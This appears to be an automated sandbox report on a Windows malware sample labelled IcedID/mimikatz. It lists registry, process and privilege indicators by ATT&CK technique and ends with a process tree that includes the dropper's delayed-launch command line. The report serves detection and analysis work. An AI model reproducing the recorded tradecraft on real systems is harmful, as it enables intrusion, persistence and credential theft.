Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

yyuzvnr.exenet1.execmd.exenet1.execmd.exenetsh.exenet.exenet.exesc.exe2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exenetsh.exenet1.exepenegiqll.exenetsh.execmd.execacls.exenetsh.exenet1.execmd.exenetsh.exenet1.exejobnkm.exenet.execmd.exePING.EXEcmd.execmd.exesc.execacls.execacls.execacls.exenet.exenetsh.exenetsh.execmd.execmd.exenet1.exeschtasks.exenetsh.exenetsh.exenet.exenet1.exenet.execmd.exenet.exenetsh.execmd.execmd.exesc.exexohudmc.execmd.execmd.exenet.execmd.execmd.exeschtasks.exenetsh.exenetsh.execacls.execacls.execmd.exenet1.execmd.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yyuzvnr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	penegiqll.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jobnkm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXE

pid process

1392 cmd.exe
224 PING.EXE

pid	process
1392	cmd.exe
224	PING.EXE

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
C:\Windows\klhnlzly\yyuzvnr.exe	nsis_installer_2
C:\Windows\rgpuenbvt\hzvztyutv\wpcap.exe	nsis_installer_1
C:\Windows\rgpuenbvt\hzvztyutv\wpcap.exe	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

Processes:

yyuzvnr.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	yyuzvnr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	yyuzvnr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	yyuzvnr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	yyuzvnr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	yyuzvnr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	yyuzvnr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tllgdyunt.exe

Modifies registry class 14 IoCs

Processes:

yyuzvnr.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	yyuzvnr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	yyuzvnr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	yyuzvnr.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

224 PING.EXE
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

3160 schtasks.exe
1348 schtasks.exe
2376 schtasks.exe

pid	process
224	PING.EXE

pid	process
3160	schtasks.exe
1348	schtasks.exe
2376	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

yyuzvnr.exe

pid	process
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe

Suspicious behavior: LoadsDriver 15 IoCs

Processes:

pid process

652
652
652
652
652
652
652
652
652
652
652
652
652
652
652
Suspicious behavior: RenamesItself 1 IoCs

Processes:

2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe

pid process

3372 2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe

pid	process
652
652
652
652
652
652
652
652
652
652
652
652
652
652
652

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exeyyuzvnr.exeyyuzvnr.exevfshost.exetllgdyunt.exeuieubf.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exetllgdyunt.exe

description	pid	process
Token: SeDebugPrivilege	3372	2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	2308	yyuzvnr.exe
Token: SeDebugPrivilege	1408	yyuzvnr.exe
Token: SeDebugPrivilege	4304	vfshost.exe
Token: SeDebugPrivilege	2724	tllgdyunt.exe
Token: SeLockMemoryPrivilege	1776	uieubf.exe
Token: SeLockMemoryPrivilege	1776	uieubf.exe
Token: SeDebugPrivilege	5056	tllgdyunt.exe
Token: SeDebugPrivilege	1720	tllgdyunt.exe
Token: SeDebugPrivilege	4304	tllgdyunt.exe
Token: SeDebugPrivilege	2460	tllgdyunt.exe
Token: SeDebugPrivilege	4116	tllgdyunt.exe
Token: SeDebugPrivilege	4372	tllgdyunt.exe
Token: SeDebugPrivilege	2424	tllgdyunt.exe
Token: SeDebugPrivilege	1820	tllgdyunt.exe
Token: SeDebugPrivilege	2664	tllgdyunt.exe
Token: SeDebugPrivilege	3328	tllgdyunt.exe
Token: SeDebugPrivilege	796	tllgdyunt.exe
Token: SeDebugPrivilege	4744	tllgdyunt.exe
Token: SeDebugPrivilege	4380	tllgdyunt.exe
Token: SeDebugPrivilege	4136	tllgdyunt.exe
Token: SeDebugPrivilege	3540	tllgdyunt.exe
Token: SeDebugPrivilege	4264	tllgdyunt.exe
Token: SeDebugPrivilege	5044	tllgdyunt.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exeyyuzvnr.exeyyuzvnr.exexohudmc.exejobnkm.exeyyuzvnr.exeyyuzvnr.exe

pid	process
3372	2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe
3372	2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe
2308	yyuzvnr.exe
2308	yyuzvnr.exe
1408	yyuzvnr.exe
1408	yyuzvnr.exe
3572	xohudmc.exe
832	jobnkm.exe
1636	yyuzvnr.exe
1636	yyuzvnr.exe
6988	yyuzvnr.exe
6988	yyuzvnr.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.execmd.exeyyuzvnr.execmd.execmd.exewpcap.exenet.exenet.exenet.exe

description	pid	process	target process
PID 3372 wrote to memory of 1392	3372	2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe	cmd.exe
PID 3372 wrote to memory of 1392	3372	2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe	cmd.exe
PID 3372 wrote to memory of 1392	3372	2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe	cmd.exe
PID 1392 wrote to memory of 224	1392	cmd.exe	PING.EXE
PID 1392 wrote to memory of 224	1392	cmd.exe	PING.EXE
PID 1392 wrote to memory of 224	1392	cmd.exe	PING.EXE
PID 1392 wrote to memory of 2308	1392	cmd.exe	yyuzvnr.exe
PID 1392 wrote to memory of 2308	1392	cmd.exe	yyuzvnr.exe
PID 1392 wrote to memory of 2308	1392	cmd.exe	yyuzvnr.exe
PID 1408 wrote to memory of 1832	1408	yyuzvnr.exe	cmd.exe
PID 1408 wrote to memory of 1832	1408	yyuzvnr.exe	cmd.exe
PID 1408 wrote to memory of 1832	1408	yyuzvnr.exe	cmd.exe
PID 1832 wrote to memory of 2988	1832	cmd.exe	cmd.exe
PID 1832 wrote to memory of 2988	1832	cmd.exe	cmd.exe
PID 1832 wrote to memory of 2988	1832	cmd.exe	cmd.exe
PID 1832 wrote to memory of 3136	1832	cmd.exe	cacls.exe
PID 1832 wrote to memory of 3136	1832	cmd.exe	cacls.exe
PID 1832 wrote to memory of 3136	1832	cmd.exe	cacls.exe
PID 1832 wrote to memory of 4524	1832	cmd.exe	cmd.exe
PID 1832 wrote to memory of 4524	1832	cmd.exe	cmd.exe
PID 1832 wrote to memory of 4524	1832	cmd.exe	cmd.exe
PID 1832 wrote to memory of 852	1832	cmd.exe	cacls.exe
PID 1832 wrote to memory of 852	1832	cmd.exe	cacls.exe
PID 1832 wrote to memory of 852	1832	cmd.exe	cacls.exe
PID 1832 wrote to memory of 4264	1832	cmd.exe	cmd.exe
PID 1832 wrote to memory of 4264	1832	cmd.exe	cmd.exe
PID 1832 wrote to memory of 4264	1832	cmd.exe	cmd.exe
PID 1832 wrote to memory of 1188	1832	cmd.exe	cacls.exe
PID 1832 wrote to memory of 1188	1832	cmd.exe	cacls.exe
PID 1832 wrote to memory of 1188	1832	cmd.exe	cacls.exe
PID 1408 wrote to memory of 1828	1408	yyuzvnr.exe	netsh.exe
PID 1408 wrote to memory of 1828	1408	yyuzvnr.exe	netsh.exe
PID 1408 wrote to memory of 1828	1408	yyuzvnr.exe	netsh.exe
PID 1408 wrote to memory of 4112	1408	yyuzvnr.exe	netsh.exe
PID 1408 wrote to memory of 4112	1408	yyuzvnr.exe	netsh.exe
PID 1408 wrote to memory of 4112	1408	yyuzvnr.exe	netsh.exe
PID 1408 wrote to memory of 5056	1408	yyuzvnr.exe	netsh.exe
PID 1408 wrote to memory of 5056	1408	yyuzvnr.exe	netsh.exe
PID 1408 wrote to memory of 5056	1408	yyuzvnr.exe	netsh.exe
PID 1408 wrote to memory of 2728	1408	yyuzvnr.exe	cmd.exe
PID 1408 wrote to memory of 2728	1408	yyuzvnr.exe	cmd.exe
PID 1408 wrote to memory of 2728	1408	yyuzvnr.exe	cmd.exe
PID 2728 wrote to memory of 2804	2728	cmd.exe	wpcap.exe
PID 2728 wrote to memory of 2804	2728	cmd.exe	wpcap.exe
PID 2728 wrote to memory of 2804	2728	cmd.exe	wpcap.exe
PID 2804 wrote to memory of 3520	2804	wpcap.exe	net.exe
PID 2804 wrote to memory of 3520	2804	wpcap.exe	net.exe
PID 2804 wrote to memory of 3520	2804	wpcap.exe	net.exe
PID 3520 wrote to memory of 3736	3520	net.exe	net1.exe
PID 3520 wrote to memory of 3736	3520	net.exe	net1.exe
PID 3520 wrote to memory of 3736	3520	net.exe	net1.exe
PID 2804 wrote to memory of 1224	2804	wpcap.exe	net.exe
PID 2804 wrote to memory of 1224	2804	wpcap.exe	net.exe
PID 2804 wrote to memory of 1224	2804	wpcap.exe	net.exe
PID 1224 wrote to memory of 4572	1224	net.exe	net1.exe
PID 1224 wrote to memory of 4572	1224	net.exe	net1.exe
PID 1224 wrote to memory of 4572	1224	net.exe	net1.exe
PID 2804 wrote to memory of 2140	2804	wpcap.exe	net.exe
PID 2804 wrote to memory of 2140	2804	wpcap.exe	net.exe
PID 2804 wrote to memory of 2140	2804	wpcap.exe	net.exe
PID 2140 wrote to memory of 3540	2140	net.exe	net1.exe
PID 2140 wrote to memory of 3540	2140	net.exe	net1.exe
PID 2140 wrote to memory of 3540	2140	net.exe	net1.exe
PID 2804 wrote to memory of 5108	2804	wpcap.exe	net.exe

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2124
- C:\Windows\TEMP\bqazjegtg\uieubf.exe
  "C:\Windows\TEMP\bqazjegtg\uieubf.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1776

C:\Users\Admin\AppData\Local\Temp\2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-10-27_488e92b90240c99f73f737740c2a4dc2_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3372
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\klhnlzly\yyuzvnr.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:224
- - C:\Windows\klhnlzly\yyuzvnr.exe
    C:\Windows\klhnlzly\yyuzvnr.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2308

C:\Windows\klhnlzly\yyuzvnr.exe
C:\Windows\klhnlzly\yyuzvnr.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
